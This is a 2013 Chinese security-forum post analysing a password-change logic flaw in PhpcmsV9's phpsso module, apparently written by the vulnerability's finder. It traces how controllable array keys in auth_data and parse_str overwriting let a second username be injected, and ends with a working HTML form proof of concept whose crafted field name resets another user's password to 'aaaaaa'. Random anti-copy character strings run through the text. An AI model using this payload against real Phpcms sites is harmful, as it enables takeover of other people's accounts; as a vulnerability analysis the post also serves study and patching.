找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1954|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:# ?% O8 l2 I( p

' S, `" ~& e8 c$ {- ]! o- v" Y. p4 A7 f/ \
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
' L* E7 w2 t: I7 O0 {2 M9 g- c* {
. e8 Y/ X2 j7 I( ?( A在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。' X& B. M+ T0 l1 Z
/ a* f. \/ @% k8 t3 }$ g1 z
我把它留给了你们。  s5 k5 L: p2 H' b( k& c8 b
不知道你们发现了它没有。
6 Z# [, `) I2 Y- @+ t3 i4 P( X5 @
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。' ^+ c0 q5 L9 S: U- D% m
5 {: @; h* K1 q, e2 E: t
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。- M% d6 s* ~! w* H

. ]: l' y4 e* S1 B8 J& b7 K6 Z也就是: I" z7 x+ w/ F) B& ~+ O; O- ^
- ?6 f) ?2 l& n& z- H, I  F
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。: O+ [8 N6 j& f0 y) s& c

. W' F% ]2 h  L1 L1 `3 P7 m要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
+ w0 l0 [& ?& @
5 ^" ]- t3 G/ J3 f. m
$ T, A/ a' ?8 o% E其实我们有这样的机会,看看代码,如下:
1 t% D7 E$ K6 l7 ]- a1 f
; F' \8 X$ z9 A9 K- d  I: @* F1 t8 @4 M- ?* o: S& k$ x
public function auth_data($data) {1 e% P( ~( U8 k5 D" E% D7 r  K
                $s = $sep = '';- J" I; b( L8 G6 l
                foreach($data as $k => $v) {
1 Y2 q! g  ~0 A  H                        if(is_array($v)) {
9 z7 J& q5 s5 ?7 {                                $s2 = $sep2 = '';4 x, ^, U( n5 ?1 _) W
                                foreach($v as $k2 => $v2) {! k' p# U! P8 G+ p
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
# o3 G, m& c  {7 n8 k0 y( e                                        $sep2 = '&';
, V( F9 f- f7 |7 i5 _7 }4 F# H                                }
7 S4 [$ _7 v6 S+ [  l, l2 I9 q# J9 b                                $s .= $sep.$s2;
  Y! ]# p# Q2 {) w5 I                        } else {
! @1 c: h( [! U1 w+ k- i                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
) [' R& a2 W% [$ P                        }# ?. I0 z3 }7 H1 f. e
                        $sep = '&';8 F) t5 \: B3 b) L' {
                }2 W* Z; d, c7 E% o! R

& Z2 C& W2 x- e7 w7 g, d8 I- L                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
: g, X$ ^* Z3 ~5 _. M2 y4 ~                return $auth_s;; ^/ k( z" m) C' N8 ?
        }- ]7 B$ {3 r3 j  z
2 C- K* Y' G9 ]7 a: T) j
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。+ }  q5 Q9 N5 l: E
! r: Q4 X3 f8 |
举个例子
, _  C+ ]6 E5 s, ]2 |9 s" X: b7 `) m
. S; _+ h* f/ e. p$a[aaa=a&bbb] = 'a';, c/ T0 Q) x* g1 @. ^/ E% P1 A% `

0 e8 r- b6 ?4 p5 f会变成aaa=a&bbb=a" W7 Q. l% A9 r, c' y- x

  {3 R5 a# {! y9 y明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
, R1 n3 j5 I& A; }8 {/ t3 {9 u. e+ Z$ q5 Y  _, X% N1 g% g$ Y
这个时候,我们可以再去看一个函数。2 X5 G. T) W) L6 }" }7 {9 r
! C& g7 e! }* O, |" |2 q
就在这个文件内:) {* L  D7 \  D- n+ t
4 j  m" ?, n7 g3 e6 g- X0 U

* U& f9 @6 M3 m3 t+ O' O- Q& F' h  bpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
4 t) p7 }  ^+ [* m                if($email && !$this->_is_email($email)) {1 H4 X7 N" N- V, D( }* \- z
                        return -4;! w3 ]: W- y! S& A
                }
$ n; e8 d" G' E0 r& L                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));. r! X& {1 l4 t( y
        }! D1 o5 X8 @6 f" y8 w" `; j' Z: N& ^

- `8 c2 x" f7 U6 K0 p7 W这是向通行证发了这样一个请求。% f, A, K% W6 R5 g
6 C/ m" \( _+ e5 A# v! n. E7 n% j- s
我们再跟到通信证代码里去看看,就会有所发现。6 h0 [0 i* H8 k1 Y. g
& _: \+ K3 e5 o: f; N. P1 m) l% B8 ~

( m! `' h1 j0 u/ g" N9 Vpublic function edit() {; g: n9 e. h3 M9 l  U1 `
//能省就省,太长了不是吗?
. u  b" L2 Y) v; I" A( l4 t: x  D) `  Z9 D+ b
if($this->username) {, R( l+ D2 Z2 ~. h
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
/ r( s0 @! ~+ V0 m9 v                                $res = $this->db->update($data, array('username'=>$this->username));0 g( s4 f/ f  Y. l$ ~) v. t
                        } else {) J! g; V3 X3 k) [# P% W- E/ L
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
  u. ]# m0 {: V  t. I6 h                                $res = $this->db->update($data, array('uid'=>$this->uid));
( k9 c. C: R1 ^( b% y) |                        }' z( Z2 V( ~; i: o9 E6 C# c

7 p7 x2 C9 T" x  y! ?" C好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
: W1 V8 D+ X9 d- C) F& |: y4 q( Q4 M2 {
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
; g0 A5 R6 j6 B; b* A3 i. S. a% Q/ l; B$ H2 u- u: l6 T5 F
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。' T* c* H0 c6 r. V3 Y4 Q7 \" E

. r% j# E! I; M% M. C9 Z我当然找到了:% K1 V$ l1 i' @
phpcms9/phpcms/modules/member/index.php/ L0 r, b% K" b

8 A" x4 j$ j  W$ C' q1 i$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
: v) ~9 L) v" P$ S9 s4 q, q% O. Q' G# {$ O$ B7 D* i. l
然后就没有然后了。
( L6 V; H. F; K# ]9 D9 o) U1 C" q0 X  {' ^4 I$ f/ {
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
; U3 D4 l9 k7 x& Q) X                                <table width="100%" cellspacing="0" class="table_form">" [5 @/ R" I! C6 U; h: s$ I
                                        <tr>
- N( z" y# V; R: C1 b                                                <th width="80">邮箱:</th>        1 c% g6 x3 Y5 E  {
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>) Y6 r; u" H3 [$ F
                                        </tr>4 v  }! l) ~9 Y, h0 L6 p4 g
                                        <tr>
  P( E9 ^' m( R1 B+ i" D                                                <th width="80">原密码:</th>        
5 r  m! z" z1 k: Q) z                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
* f( I6 r- C" W$ K: F3 J# ^* o; x                                        </tr>
5 `! n" ]* L0 O2 m. f                                        <tr>" n" Z0 D' s- s( o
                                                <th>新密码:</th>" M+ j' T: W8 {& C
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
2 Q9 r7 u% D. o" `, K( `                                        </tr>
; K4 I5 }3 Z" _9 g" n: y  {5 g                                        <th></th>7 w; j: I9 `+ N. w- R7 r: ^
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>7 [* R1 w& o5 q3 s( h, h! h& s
                                        </tr>" q) @# y0 [- P( m9 l% [; {
                                </table>1 t; t6 I$ }5 j0 E9 H* K3 A, U
% `& b5 Z# A6 v: q
                                5 _* {  L) X' l8 A6 v
                        </form>0 i. a. {- I( I& u1 Q' ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表